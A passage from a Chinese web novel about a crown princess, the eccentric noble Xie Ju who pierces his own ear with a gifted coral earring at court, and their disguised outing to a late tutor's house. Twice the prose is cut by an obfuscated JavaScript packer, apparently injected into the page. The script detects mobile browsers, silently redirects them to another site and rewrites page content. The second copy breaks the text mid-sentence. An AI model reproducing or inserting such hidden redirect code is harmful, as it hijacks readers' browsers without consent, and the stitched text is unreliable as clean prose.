“我替你寻了一支最好看的。” 10. 桃花入骨青珊瑚 梅枝犹点雪,花瓣尚殷红,与马上青年茜色的衣袍相映,俯仰之间,将许多剑拔弩张与阴谋算计,都衬得可笑又苍白。 满朝公卿,谁也未曾见过如此荒唐的场面。一个素有疯症的公子,骑着马撞开了殿内正门,手里还拿着一枝梅花,对着高坐的皇太女,说些风马牛不相及的疯话。 最先反应过来的,是丹陛阶下的谢巡。 老权臣的脸霎时铁青,勃然大怒,须发微张,喝道:“孽子!安敢如此放肆!”他一拍身旁的案几,砰的一声,厉声道:“还不下来!” 殿前武士闻声更进一步,刀戟森寒,那马儿受了惊,不安地刨着蹄子,一阵阵喷出响鼻。 谢琚控着缰绳,仿佛这才看到自己的父亲,他侧一侧头,左右扫视,从善如流地翻身下马,轻盈潇洒,丝毫不见慌乱。那匹通人性的白马便被人七手八脚地牵了出去。 “父亲。”谢琚理理微乱的衣袍,仍旧捏着那支梅花,神情坦然地唤了一声。 “孽子!”谢巡气得浑身发抖,指着他骂道,“殿前纵马,形同谋逆!来人,将这孽子给老夫拿下!” 这一声怒喝,终于将众人的魂魄唤了回来。 “丞相息怒!” “明公!明公!” 底下群臣,尤其是那些谢氏门僚,顿时乱了起来。 “殿下!”几位老臣连忙伏倒在地,“四公子素有旧疾,狂悖之举绝非有意冒犯天威,还请殿下与丞相明鉴,暂息雷霆之怒啊!” 众人一边向盛尧请罪,一边朝着谢巡劝解,一边又使眼色让武士们暂缓动手。一时间,殿内推拉劝让,谢巡“盛怒”之下,挣了两下,竟是被众人死死“按”住,无法上前。 而被这匹骏马冲得最狼狈的,莫过于繁昌王别驾魏敞。他被人从地上扶起,头上的发冠歪了半边,官袍上也沾了马蹄带起的尘土雪沫,方才那副辩才无双、咄咄逼人的气势早已荡然无存,狼狈不堪。 此刻正手忙脚乱地整理着仪容,脸上青一阵白一阵,惊魂未定,脸色万分难看。 这般精心准备的羞辱,就如此被一匹马,和一支梅花给搅得稀烂。 盛尧坐在高位上,心脏怦怦直跳。 我的天,我那条要命的鱼!她心里哀嚎一声,简直想把脸埋进袖子里。闹出这么大的乱子,这要怎么收场? 看着这片混乱,手脚冰凉,却又觉得这场景熟悉得有些可笑。 好歹比上次在太庙里强得多了……嗯? 眼见谢巡还在那里“盛怒”不已,底下幕僚“苦劝”不休。 她想起素日里老太傅骂人时,那副吹胡子瞪眼、谁都不放在眼里的模样。这么许多年的牢骚,终于也不是白听的,盛尧深吸口气。 啪地一声,双手将凭几一拍。 “哎,” 盛尧学着素日里老太傅的模样,朝后一坐,将眼略抬,摆摆手,老气横秋地叹气,“谢相,算了算了。” 谢巡动作微顿,带着“怒火”看向她。 盛尧拢一拢手,点一点头,“风雪访梅,乘兴而至。所谓‘疏狂’,便是如此了。越名教而任自然,若是循规蹈矩,那便不是名士,而是我等这样的凡夫俗子啦。” 老太傅是绝看不惯这套“越名教而任自然”的把戏的,与她说起,常常是在抱怨时风。因此将这话说得有趣,将谢琚那胆大包天的疯病,直接置于放浪形骸的名士风流面前。 自古有裸衣骂客,有长笑奔丧。底下公卿年轻些的,听她学着老学究的口气说话,又见她那老成模样,忍不住微笑。 殿内紧绷的气氛,霎时间松弛下来。 盛尧又转过头,和蔼地——看向脸色发白的魏敞,道: “魏卿方才是说,要一见谢家四公子,以识都中名士之风采么?”她伸手指了指殿中那人,“卿欲见之人,这便来了。魏卿,这岂不也是……天意?” 她生怕魏敞还要还口,赶紧将手一挥,接道:“还请魏卿,将此天意带回西川,与我繁昌皇叔,细细交代。” 魏敞的脸色青白不定,被这话噎得哑口无言。他要见的,是传闻中才华横溢的“麒麟儿”,或是天下笑柄的“痴子”,无论哪个都有后招应对。可如何能够想到,出来的是一个白马献花,“名士风流”的……奇人异士? 此番所有的准备都落了空,反倒成了衬托这所谓“名士风流”的丑角。 魏敞被她堵得胸口一闷,指着殿中之人,正欲再辩,却见谢琚前行几步,已将那枝梅花递到了丹陛之下。他本人对周遭的刀剑与公卿视若无睹,只微微偏头,使清澈的眸子看着盛尧,宛如等待她的夸赞。 眼见气氛扭转,一直作壁上观的岱州使者冯温,大约觉得是时候了。他笑眯眯地上前一步,先是朝着盛尧和谢巡分别一揖,朗声道: “今日得见四公子天人风姿,方知都中传言不虚。”冯温抚着圆润的下巴,摇头晃脑地道, “此等率性真狂,疏散风流,非大胸襟、大魄力者不能为也!魏别驾久居西川,只见山川之险,未识风月之豪,难免少见多怪,殿下与丞相不必介怀。” 明着是为谢琚开脱,暗地里却将魏敞又结结实实地踩了一脚,顺便还卖了谢巡一个天大的人情。 盛尧心里一动,看向这位笑呵呵的胖长史。 殿内众臣,大多是谢氏羽翼,当下纷纷附和,一时间,赞誉之声四起,将方才的剑拔弩张冲得干干净净。 谢巡的脸色也缓和下来,拂袖冷道,“竖子无状,让列位见笑。”他摆摆手,“老夫教子无方,家门不幸,家门不幸!” 是自谦,也是警告。底下公卿哪里敢接,纷纷躬身道:“丞相言重。”“四公子真性情,名士风采,我等钦佩不已。” 冯温见状,眼睛都眯成了一条缝,高声道:“我家主公听闻都中‘阴阳合德’之祥瑞,欣喜不已,特备下薄礼,以贺殿下喜得……佳偶。主公说,天意既成,合该为未来的中宫备下贺礼。” 说罢,他不等魏敞有机会反驳,便从袖中取出一卷细帛,恭敬奉予旁边内侍。随即向盛尧礼道:“臣所献贺礼已在殿外候旨。” 盛尧微一颔首,不久,两名内侍便抬着一只描金漆盒走上前来,在殿中打开。 霎时间,珠光宝气,满室生辉,华彩流溢,几乎晃花了人的眼。 盛尧坐着不动,点点头。献礼既毕,臣子便该垂手退下。她稍作等待,谁知冯温此时却不执礼退后,反而趋前一步,向上深深一揖。 盛尧左右想想,又看过魏敞。心想自己立足不稳,此时岱州既然当先献礼,须要显些格外尊重。于是站起身,下来察看。 这一看去,立时后悔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛尧的手顿在半空,差点抖了起来,拿着那枚精致的珊瑚耳坠,左右看看,只觉得此物滚烫。 殿内静得可怕,所有人都看着她,看着她手里的那枚耳坠,眼神里有惊愕,有怜悯,恐怕也有不少打从内心的幸灾乐祸。 让她给一个男人戴上耳坠?如何戴? 名门公子,世家清流,毁伤肢体便是自绝于礼制,哪里有戴耳坠的说法? 就在此进退维谷,几乎要将那耳坠捏在掌心之时,一只手轻轻覆上了她的手背。 众人大气都不敢出一下,只见这桃花似的青年抬起手,将那枚耳坠举到了自己的左耳边。 盛尧目瞪口呆。 没有丝毫犹豫,青年手腕微动,那耳坠尖锐的银钩末端,便被他毫不留情地用作破骨的锥刺,生生扎穿了自己的耳垂。 动作干净利落,宛如生的并非血肉之躯,只不过是柔软的布帛。 一滴血珠从耳垂下缓缓渗出,顺着他颈项的肌理滑落,滚落在雪白的狐裘上,浸染出一点梅花似的嫣红。 他却仿佛感觉不到丝毫疼痛,只是侧了侧头,珊瑚坠在颊边轻轻晃动,血珠仍在往下淌,好似也浑不在意。 谢琚转过头,迎上盛尧惊骇的目光,微微轻笑。腕间铜铃叮当细响,与那摇荡的耳坠相应和。 他抬起修长的手指,先是轻轻碰触耳上血迹,又将指尖凑到唇边,伸出舌尖,将那点血色舐去。 “阿摇,” 谢四公子轻笑一声,眼波流转,带着惑人的危险艳色。 “很好看,”他说,对盛尧悠闲地点点头,“我很喜欢。” 11. 奇耻大辱!第二次 魏敞冷笑一声,袍袖一拂,避而不语。而那位笑眯眯的冯温,在众目睽睽之下,又对着谢琚,行了一礼,口中啧啧赞叹,称颂四公子乃“真名士自风流,为知己者死”,生生隐去了那后头半句“为悦己者容”,只道是“千古未有之君臣和合”,随即躬身回筵。 见他这样匆忙,殿内半数公卿都忍不住拿袖子掩了掩嘴角,想笑又不敢,表情个个扭曲。 盛尧牙缝后头都是凉的,本来脸皮薄,但这几日也锻炼出了几分,她看着丹陛之下那个茜衣白裘,耳垂珊瑚的青年,点点头,装出从容的样子。 来使应对虽然重要,但终究是虚言。现今半为乱世,最终还是要落到兵马粮草上头。魏敞与冯温既已在言语上落了下风,探到了谢巡不惜一切也要扶立女储的决心,便也失了继续纠缠的兴致,恨不得即刻回报主公,早做计较。 魏敞面如寒冰,冯温抚须微笑,群臣各怀心思,却再无人敢当众指摘。 一场风波,就此消弭。 盛尧心里也轻快许多,不待宫人来扶,就自己走下丹陛,谢巡依旧维持着怒容,狠狠瞪了谢琚一眼,拂袖而去。 满朝公卿,三三两两地散了。有人为今日之奇变而惊叹,有人为谢四公子之狂行而咋舌,更有人,已在暗中盘算,这场闹剧之后,天下兵马粮草,又该如何调度。 风雪并未平息,只是暂时被这更烈的风,给吹得换了个方向。 * 回别苑的路,雪已停下,铅灰色的云层却未散去,天与地之间,是一片令人压抑的沉寂。 盛尧坐在八人抬的步辇之中,辇车四角悬着暖炉,内里铺着厚厚的锦垫。透过纱帘的缝隙,悄悄地向外看。 谢琚就走在辇车之侧。 依东宫仪制,太子中庶子乃是近臣,有随侍之责,却无同辇之荣。他便这样,一言不发地跟在旁边,茜色的衣袍在风雪中微微拂动,白色的狐裘裹得严实,只露出那张过分精致的脸。走得平静安雅。倚在辇侧,恰似闲云白月,露井桃花。 左耳上那枚青珊瑚坠,随着他的步子轻轻摇晃,衬着苍白的侧脸,显得颇是冶艳。谢琚噙着微笑,没有去管仍在缓慢渗血的伤口,只是低着头,安静地把玩着手上的梅枝。 花瓣被颠簸得微微颤抖,嫣红的花蕊,与耳垂上那抹血色相映。 是巧合吗?是一个疯子恰好在最关键的时候,发了一场最恰到好处的疯? 盛尧几次张口,想问他疼不疼,话到嘴边,却又被他浑然不觉的茫然样子给堵了回去。 “那个……”她没忍住,小心地从步辇上伸出头,“你的耳朵……要不要紧?我让人去寻医正……” “花。” 谢琚抬起头,打断了她的话。他抿唇一笑,将那枝梅花举到盛尧面前。 “阿摇,不好看么?”他偏着头问,眼波浮动,似乎因她不曾夸奖而有些委屈。 盛尧伸出手,接过那枝梅花,点点头,与他安慰道:“好看,很好看。” 只是心里还是想,一定很疼吧。 倒也不是很疼。 ——是疼得快要疯了! 疼得毫无尊严,疼得只想满地打滚。 寒风如刀割般,一下下地剐过耳上新鲜的血洞。起初在殿上,凭着一股狠劲与算计撑着,还不觉得如何。此刻松懈下来,尖锐撕裂般的疼痛排山倒海地涌了上来,一抽一抽,牵扯着半边脑袋都在嗡嗡作响。 耳坠的银钩粗钝,根本不是为穿刺皮肉而制,生生扎进去,几乎是撕裂了耳垂的血肉。每走一步,那枚该死的珊瑚坠就在颊边晃一下,扯得伤口又一阵烈痛。 他谢琚长这么大,便是跟着父亲去军中,也未曾受过这等皮肉之苦。如今为了保住一个傀儡的名声,为了圆一个荒唐的谶纬,竟要当着满朝文武的面,自伤己身。 美玉琼琚的耳朵,也是耳朵啊!也是爹生娘养的血肉之躯! 奇耻大辱!第二次。 疼,又气,气,又疼。 谢琚觉得自己的耳朵快要烂掉了,眼泪在眼眶里打转,硬生生被他逼了回去。 白马撞殿,是早就备下的后手。府中消息言道来的是别驾魏敞,西川名士,知名的言辞犀利,父亲一时也难寻万全之策。若不行奇诡,皇太女今日必将大失颜面。 只是没想到,那岱州的老狐狸还藏着一招更阴损的。 一盒首饰,简直是要将他往死里逼。心里将那岱州牧田昉骂了上百回,又不惜满门抄斩的罪过,将繁昌王盛衍的祖宗都问候了一轮。 骂到最后,无处发泄的邪火,却兜兜转转,全落在了前面步辇里那个小丫头身上。 好巧不巧!怎么就偏偏拿了个耳坠子! 谢琚咬着牙,气得脑仁都疼。偏偏是耳坠!需要穿骨破皮的耳坠! 那盒子里剩下的,是些什么玩意?凤钗、步摇、金丝璎珞…… 谢琚打了个寒噤,光是想一下自己满头珠翠的模样,就觉得比穿骨耳洞更想死。 这么一算,那枚耳坠,竟然还真是当时所有选项里,最不丢人的一个了。 如此转念想过,她情急之下,学着老学究的口气,说什么“疏狂”、“名士风流”,倒也有几分急智。那副老气横秋的模样,现在想来,居然还有点好笑。 算是有些意思。 把足以被御史弹劾半年的死罪,硬是给掰成了放浪形骸的雅事,堵得那个姓魏的哑口无言。临场反应,算是不错。 这么算来,最多也就是扯平了。谁也不欠谁。 哦,不,还是她把他拉到这泥潭里,她欠他的。 * 回了别苑,谢四公子破天荒地没有挂在盛尧旁边,甚至没等晚膳,便一头扎进了自己的西厢房,两天都没出来。宫人只当他受了惊吓,旧疾复发,谁也不敢去打扰。 盛尧派人去问了几次,都被守在门口的谢府侍从拦了回来,只说四公子“偶感风寒,正在静养”。她有些担心,亲自端着汤药过去,也吃了闭门羹。 隔着门,她只能听见里面谢琚轻轻地和她说道:“阿摇,我没事……就是想睡觉……你别吵我……” 声音听起来确实虚弱,盛尧也无法子,便不再打扰,只吩咐膳房备着吃食,随时温着。 而其时门内的谢四公子,正抱着被,在榻上疼得死去活来。 谢琚咬着牙,只觉得左边半张脸都在抽痛,耳朵更是像被一盆炭火燎着,火辣辣地疼,还嗡嗡作响。他缓了好半天,才踉跄着走到镜前,伸出手,想将那要命的玩意儿取下来,可指尖刚一碰到伤处,一股剧痛便直冲头顶。 谢琚倒吸一口凉气,疼得眼前都有些发黑。 活了二十年,自诩算无遗策,智计过人,何曾这般狼狈过? 夜深人静,西厢房里,这位名满都中、风姿特出的谢四公子,一个人坐在熏笼边,对着铜镜,小心翼翼地拿热帕子去敷肿起的耳朵。 帕子一沾上,疼得他咬牙切齿,眼圈瞬间就红了。 疼得发疯,也气得发疯。 整整两天,谢四公子没让任何人近身。只有自己知道,是疼得偷偷掉了两天眼泪,夜里翻来覆去睡不着,枕上都沾了血。这点狼狈与脆弱,打死也不能教人知道。 丑的要死,也不好看,尤其是不能让那只兔子知道。 * 兔子这两日也没闲着。盛尧痛定思痛,总觉得虽然侥幸过关,却胜得既不光彩,也全无底气。 她坐在别苑的书房里,手里捏着枯萎的梅花,反复发呆。 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692707|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,当更尖锐的诘难摆在面前时,总不能还指望自家那条鱼恰到好处地发疯。万一他不疯,或是疯得不是时候,自己岂不是要被人当场剥皮拆骨,连渣都不剩? 盛尧坐在书房里,支着下巴,对着面前的舆图发出神。 嘉德殿上,魏敞咄咄逼人,冯温笑里藏刀。 …… 她心里头很是羡慕! 仔细想来,盛尧觉得这朝堂论战,就好似都中小儿们玩的斗蛐蛐。 繁昌王和岱州牧,都养着一等一的好蛐蛐。魏敞是只尖牙利嘴的黑头将军,冯温是只老奸巨猾的黄麻头,一上场便能把对手咬得节节败退。 可她自己呢?她有什么? 她这个蛐蛐主人,穷得叮当响,就只能做个看客,看着别人的蛐蛐在盆里厮杀得你死我活,而自己手里连根用来拨弄的草棍儿都没有。恨不得自己亲自下场,伸手把对方的蛐蛐给按死。 可是不行啊,主君怎么能亲自下场和蛐蛐斗呢?太失身份。 盛尧叹了口气,拿笔杆敲敲自己的额头。 她也想要一只厉害的蛐蛐,替她冲锋陷阵,去咬那些讨厌的家伙。 可上哪儿去找呢?都中名士,要么是谢巡的门生故吏,要么是自矜风骨的世家子弟,谁会愿意追随她这个根基未稳、前途未卜、还被权臣攥在手心的皇太女?投靠她,无异于将身家性命都押上一场必输的豪赌。 她正自发愁,忽然想起了那个骂了谢巡十年,骂得她耳朵起茧的老太傅。 老太傅虽然古板,脾气又臭,但学问是真的好,骂起人来引经据典,中气十足,想来斗蛐蛐的本事也差不到哪儿去。又是六世簪缨的名门之后,在士林中颇有声望。 唔……老太傅最重祖宗礼法,他能接受一个女人当储君吗? 盛尧有些拿不准,但眼下,这也是她唯一能想到的人了。 想到这里,她立刻坐直了身子,扬声唤道:“来人!” 老黄门令躬身而入,“殿下有何吩咐?” “卢太傅那边,”盛尧问,“自我行冠礼之后,可有什么消息传来?” 老黄门令有点为难,应道:“回殿下,太傅大人抱病归家久矣……并无任何的信函往来。只是……” “什么?” “前几日,遴选内卫之时,”老黄门令迟疑道,“倒是有个自称卢家门客的人,鬼鬼祟祟地在别苑外头转悠,说要给殿下送一样东西。底下奴婢们见他行迹可疑,衣着也不甚体面,怕是都中那些想攀龙附凤的骗子,便没敢惊动殿下,将人打发了。” 盛尧心里一紧,连忙催他:“东西呢?东西还在吗?” 老黄门令点一点头。 “老奴想着,若是骗子,扔了便是;若真有什么要紧事,也好留个凭证。” 很快,一只素色布帛包裹被呈了上来。盛尧解开布包,里面是一卷并无轴头的绢帛,看起来不像是正式的文书。 她将绢帛展开,只见上面写着寥寥数行字。 “移花接木,李代桃僵。近卫之内外既定,一榻之睡卧方安。” 盛尧睁大眼睛。 ……这正是她设立内卫时的策略。保留东宫旧属为表,新设内卫为里,明暗两分,釜底抽薪。此事除了她与谢琚,再无第三人知晓,这人是如何得知的? 她仔细去看那字迹。卢太傅的书法雍容端正,苍劲古拙。而这绢帛上的字,却龙飞凤舞,锋芒毕露,疏狂不羁得简直将要从纸背后透露出来。 盛尧心里又纳闷又忌惮,一时想不明白,卢家怎么会有人知道她的心事?又或者,这根本不是卢家的人,只是借了太傅的名头? 她将绢帛小心地卷好,藏入袖中,心里想着。 不管这人是谁,她都要找到才好。 12. 我跟着阿摇 按道理来说,自然是以皇太女的身份,前去拜会致仕告病的太傅。合情合理,既显尊师重道,又能全了君臣之礼。 却也太过惹眼。无异于敲锣打鼓昭告天下,她要另寻羽翼,与谢氏分庭抗礼啦! ……只怕人还没见到,半路就要被谢巡派来的人“请”回别苑。 须得私下去。 夜里,盛尧将郑小丸叫到书房,两人凑在灯下,小声商议。 “殿下要出宫?”郑小丸听了,眼睛一亮,压低声音道,“这有什么难处?别苑的宫墙虽高,但西南角有棵老槐树,枝丫探得长,我先上去,将绳子抛下来,殿下……” “我不会飞,”盛尧指指外头的宫墙,“我连爬树都不会,定要摔个半死。墙外就是禁军巡逻的驰道,我们深更半夜在墙头挂着,不是活靶子是什么?” 郑小丸想了想,又道:“那便走正门。我听说宫中采买的内侍,每日清晨都出入。我们寻两身内侍的衣服,找个脸生的守卫,塞些金银……” “我不会变,”盛尧指指自己的脸,“这别苑里的宫人,谁知道是谁的耳目?我们前脚换上衣服,后脚消息就不知道在谁家桌案上了。” 两人继续对着宫城舆图,愁眉不展。 “有了!”盛尧一拍手,“我扮作男子,穿上麟卫的服饰,你我二人,扮作寻常卫士,趁着换防时混出去。” 郑小丸思量片刻,觉得此计可行:“殿下换上男装,倒也不易分辨。只是卫士出宫……” “卫士出宫,也需有都尉的符传和卫尉府的勘合文书,”郑小丸续道,“我是都尉,可这符传调动,终究要报备东宫詹事府,还是会惊动旁人。” 盛尧的眉头又皱了起来。 就在她二人一筹莫展之际,门外响起一阵清脆又熟悉的铃声。 叮铃。 两人心里皆是一惊,不约而同地噤了声。 门被轻轻推开一道缝,一颗头从门后探了进来。谢琚大约是刚睡醒,长发使一根素色带子束着,脸色还有些苍白。左耳红肿仍未全消,衬出那枚青珊瑚坠子亮得夺目。 “你们……”他抱着手炉,揉着眼睛走进来,“在说什么悄悄话?” 盛尧赶紧将舆图卷起藏在身后,笑道:“没什么,我们在商量……明日操练的阵法。” 谢琚显然不信。他踱步过来,看看盛尧紧张的脸和郑小丸紧握的剑柄,又看看盛尧藏在身后的图卷。 “阿摇,”他忽然凑近,在她耳边轻声说,温热的气息吹得她耳朵发痒,“你要出去玩吗?” 盛尧赶快摇摇头:“没有。” “哦。”青年点点头,也不追问,只是在她身边坐下,将手炉塞进她怀里,倚在她旁边,使那白色的狐裘裹一裹自己,又顺便裹一裹她,闭上眼睛,好似又要睡着的模样。 盛尧被他这突如其来的亲近弄得浑身僵硬,又怕他闹起来,引来外头的宫人。因此皱着眉,觉得这条鱼十分胡闹,白马撞殿之事已经是万分离谱…… 等一等。 她将谢琚一推,眼看谢琚迷迷糊糊地歪过去,也不再管,只将郑小丸拉到一边,飞快地悄声与她布置:“你明日去麟卫里,挑个与我身形相仿、机灵可靠的,让他告假一日。我换上他的衣服,扮作随从,跟在……跟在中庶子身边。” 郑小丸点点头,又有些担忧:“可殿下,他……”她朝谢琚的方向努了努嘴。 “没事,”盛尧向后一示意,胸有成竹,“他神智不清醒,好糊弄。等出了宫,到了街上,人多眼杂,我寻个由头支开他,我们觑得机会脱身。” …… 本来是这样打算。 大约其中一半是成了,这白马撞殿谢公子,此时宫内谁人不知。嘉德殿上也能走马,平日禁中哪个敢拦?掖门处兵士见是谢琚与新晋的女都尉郑小丸,身后还跟着个低眉顺眼的清秀小校,草草验过东宫符传,便顺利地教他们出宫,连多问一句都未敢。 盛尧长长地舒了口气,抬头看着宫外那片阔朗的天空,又看一眼身后越来越远的宫墙,只觉得连空气都是自由的,心中生出一种宛如飞鸟出笼般的快意。她跟在队伍末尾,悄悄朝郑小丸使了个眼色,示意她准备脱身。 可还是低估了谢琚的难缠程度。 走离宫门,便有人声喧嚣扑面而来。盛尧正想找个借口,说口渴要去寻水,谢琚却像背后长了眼睛似的,一把抓住了她的手腕。 “中庶子,”她试图小声哄他,“前面坊市有卖饴糖的,我去给你买些来?” 谢琚停下脚步,偏过头,目光在她脸上转了一圈,温顺地道:“不,我跟着阿摇。” 他这一声“阿摇”叫得熟练柔和,盛尧穿着男装,觉得别扭,生怕教人听出不对,只好又道:“去处在城南,路途颇远,我们得雇一辆车。你在这里等,我去去就回。” “我跟你一起去。”谢琚拉住她的袖子,半点不松手。 盛尧试了几回,没法子,心里暗暗发愁。三人走到坊前车马聚集之处,她指着路边车马,对郑小丸道:“雇一辆轺车,快去快回。” 轺车,不过一马一辕,车上有坐席而无车厢,轻便快捷,价格也最是便宜。寻常百姓官吏出行,多用此车。 “不要,”谢琚皱起眉,伸手指向旁边一辆四面都有帷幔遮挡、内里想必铺着软垫的辎车,“我要坐那个,那个暖和。” “不行,”盛尧毫不犹豫,“我们……我们只是出来逛逛,租那么大的车做什么?” 心里的小算盘打得噼啪响,坐轺车,目标小,方便随时觑着机会开溜。要是坐进那种封闭的辎车里,三人共处,还怎么跑? 谢琚却显得莫名其妙的慌张。 “我就要这个。” 盛尧心里着急,哪里有空与他分说,只当他是痴儿心性发作,摇摇头便道:“听我的,就这辆。快些,别耽误工夫。” 说罢,便率先跳上了轺车。郑小丸紧随其后,坐前头车辕,手按剑柄,警惕地环顾四周。 谢琚见她不理会自己,抿了抿唇,似乎万分不情愿,但最终还是慢吞吞地跟了上来,在盛尧身边坐下。车夫一扬鞭,轺车便轻快地驶入了都中的晨雾。 盛尧心中盘算,待会儿到了人多处,便让郑小丸去将他支开片刻,自己则趁机溜走。 轺车驶入主街。天光渐亮,街市也开始热闹起来。晨市早集,人声鼎沸。道路两侧,商铺林立,酒旗招展,有沿街叫卖烤栗子的小贩,也有搭着棚子卖炊饼的摊头。行人往来不绝,车马川流不息,一派喧闹景象。 盛尧从未见过这般鲜活的图景,一时有些看呆了。幽居十年,都城于她,只是舆图上的一个方块,史书里的几个名字,自从十年前父亲被扶立为帝,这还是第一次像个寻常人一样,走上都城的长街。 可惜很快就为自己的这个决定,付出了代价。 她扒着车辕,左右探看。谢琚却浑身都散发着“我不高兴”的气息,将白裘抱在手里,只是独坐在车边。 总算将他制得安静,盛尧心里刚稍微得意,忽然,一颗深红色的东西从天而降,啪嗒一声,掉在了她的膝上。 盛尧起先还以为是遇了刺客,心里一紧,手都按上了腰间的佩刀。抬头定睛,才发现楼上雕花的窗棂后,几个衣着鲜亮的少女正掩着嘴,偷偷地朝他们这边笑。 啪。 “……” 她再低头一看,是颗干枣。 谢琚似乎也被吓了一跳,低下头,看着那枚枣子,又抬起头,望向那窗棂。 这一望,可捅了马蜂窝。 便听见有姑娘嬉笑几声,楼窗被竹竿挑起,帷幔晃动,又两枚砸了过来,盛尧还没反应,又是一串糖渍的山楂果子,这次准头好了些,砸在了谢琚的肩上。 谢琚被砸得一个激灵,又将头转过去,正对上几双含羞带笑的眼睛。 老天。 盛尧瞬间明白,自己忘了他这套皮相来着。 夭女少年,悠游都中,掷些花果以表爱慕,也是常有。 ……可那是春日里的鲜果!眼下是寒冬腊月,这裹着糖的山楂!冻得硬邦邦的棠梨!又冰又硬,简直跟石头没什么区别!这哪里是示爱,分明是暗器! “快!”盛尧心明眼亮,朝旁边就是一扑,不管谢琚挣扎,一把把他按在底下,将头脸掩过,朝前拍拍郑小丸的肩膀,“快走!中庶子长成这样,出门是要挨打的!” 郑小丸与车夫马鞭一扬,轺车一路疾驰,拐进一条僻静无人的小巷,才停了下来。 车上,谢琚终于得以喘息。从她身子底下抬起头,衣冠散乱,满脸通红。盛尧低头一看,只见他衣服头发上,都被砸了几个果子。 漂亮的眼睛幽怨地盯了盛尧一眼,好似控诉主君的独断专行。 盛尧默默地从他头上摘下一颗粘着的山楂,塞进嘴里。 还挺好吃。 带着条锦鲤,也的确是有点招摇。 她深刻的反省,默默地又从他发间拈下一颗冻硬了的棠梨,想了想,还是递还给他。 “给。” 谢琚看也不看,转过身,只留给她一个愤怒的背影。 郑小丸将头歪过来道:“殿下,我们还是快些赶路吧,此处不当久留。” 盛尧点点头,将手里的果子核吐掉,对车夫道:“去城南,鸣玉坊。” 车夫应声,调转马头,轺车再次起行。经此一劫,既然甩不掉他,盛尧也不敢再让他抛头露面,走到人多处又改雇了一辆辎车。还是不放心,寻出顶帷帽给谢琚戴上,遮得严严实实,总算清净了些。 * 鸣玉坊是都中旧坊,多是些致仕的官员或是家道中落的旧日世家所居。坊内巷道幽深,两侧院墙高耸,墙头覆着白雪,偶有几枝枯瘦的腊梅探出墙来,给这冬日添了点颜色。 辎车在一方朱漆剥落的乌头门前停下,门楣上悬着一块旧匾,依稀能辨认出“卢府”二字,字迹已有些模糊。 果然如传言那般,很是冷清。 门前未扫的积雪被人踩出了几个脚印,却又被新雪覆盖,看不真切。大门紧闭,连个看门的仆役都没有。若不是那块旧匾,任谁也想不到,这便是曾经教导过太子,在朝中颇有清望的卢太傅府邸。 盛尧觉得不大对,这与她想象中名士府邸的清雅截然不同,反倒透着一股衰败之气。她整了整身上并不合身的卫士服,深吸一口气,上前叩响门环。 铜环撞击木门,叩叩两声。 等了许久,门内才传来响动。 吱呀一声,木门被拉开一道窄缝。一张警惕的脸从门后探了出来。 是个年轻的女郎,约莫十八九岁的年纪 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“过世了。”女郎重复了一遍,“停灵七日,出殡之时,凡门生故旧,都中稍有往来者,谁人不知?谁人不晓?” 她目光径直望向盛尧。 “你又是从何处冒出来的‘旧日门生’?” 盛尧心里悲痛,喉间哽咽,忽然说不出话来。 女郎见她神情不似作伪,眼中的警惕却未减分毫,她将门又掩上些,只露出一边清亮的眸子,追问道:“足下既称门生,先师亡故,弟子不奔,此乃悖逆人伦大不孝之罪!足下又作何解说?” 盛尧一时语塞,她如何能来?她那时被困在别苑,自身尚且难保,连太傅病故的消息都不得而知,又谈何奔丧? 郑小丸当先替她生气,道:“我家……公子身份贵重,不是随随便便就能来去的。” “身份贵重?”女郎冷笑一声,目光在郑小丸腰间佩剑上一扫,“我卢氏六世簪缨,先祖父帝师之尊,什么样的贵胄子弟不曾见过?便是当朝丞相的四位公子,见了我祖父,也得执弟子礼。你家公子,又是哪一门的贵重?” 郑小丸见盛尧脸色难过,替她着急,道:“你大户人家,也这样不懂事,弟子就是弟子,来寻师傅,又怎么了?” 女郎下颌微扬,将那门缝开了点儿,向前逼近一步,应道:“弟子?也罢,你既然说不清师承年份,我便问你些别的。” 她语速极快,全不给人思索的余地,“家祖治学,《春秋》三传,独尊何家?《礼》今古文,又持何见?《太玄》《论衡》,怎样评说?他老人家常言,为政之要,在于‘正名’,其典出何处,本义为何?” …… 在说些什么玩意? 一连串的问题砸下来,盛尧彻底懵了。这些经义学问,老太傅或许提过,但更多的时候,她都在琢磨言语里漏出来的时局,和对谢巡的痛骂,哪里记得这些东西? 女郎见她不说话,又问道,“既不治经,那我祖父平生最恶何人?政述文章,最得意者又是哪一篇?” 老太傅最恨的自然是谢巡,可天下谁人不知?至于文章……她只记得他每日痛骂谢氏的腹稿,篇篇都堪称一代雄文,却不知哪篇才是他平生得意杰作。 这疾迭数问,如连珠快箭,层层盘勒,步步紧逼,言辞犀利,不留半分余地。盛尧被她问得节节败退,只觉得眼前这少女的目光,比嘉德殿上魏敞的诘难更要锋利。 她这副模样,落在女郎眼中,更坐实了心虚。 “怎么,无话可说了?”女郎的声调愈发冰冷,“我再问你,你身后二人,又是何人?一个女子佩剑,不似侍婢;另一个……” 她目光掠过戴着帷帽的谢琚,顿了一顿,语气里添了点儿鄙夷,“……装束怪异,藏头露尾。” 盛尧后背已渗出冷汗,郑小丸也被她说得慌了。谢琚抱起双臂,一言不发。 “而你……”女郎忽然轻轻冷笑,将她上下再一打量,“腰间佩刀是禁中制式。武人打扮,但这双手却细皮嫩肉,未曾有过刀茧,也未执过农桑。你究竟是谁?借我祖父之名,意欲何为?” 郑小丸吓得将手握住剑柄,女郎毫不畏惧地迎上,声音清越如冰,“我祖父一生,门生故旧遍于天下,就只晚年幽愤,闭门谢客。唯有一位弟子,藏于深宫,不得见人,是为师者之憾,亦是为臣者之忠!” 她一把将门拉开,居然是直视着盛尧,硬生生地说道: 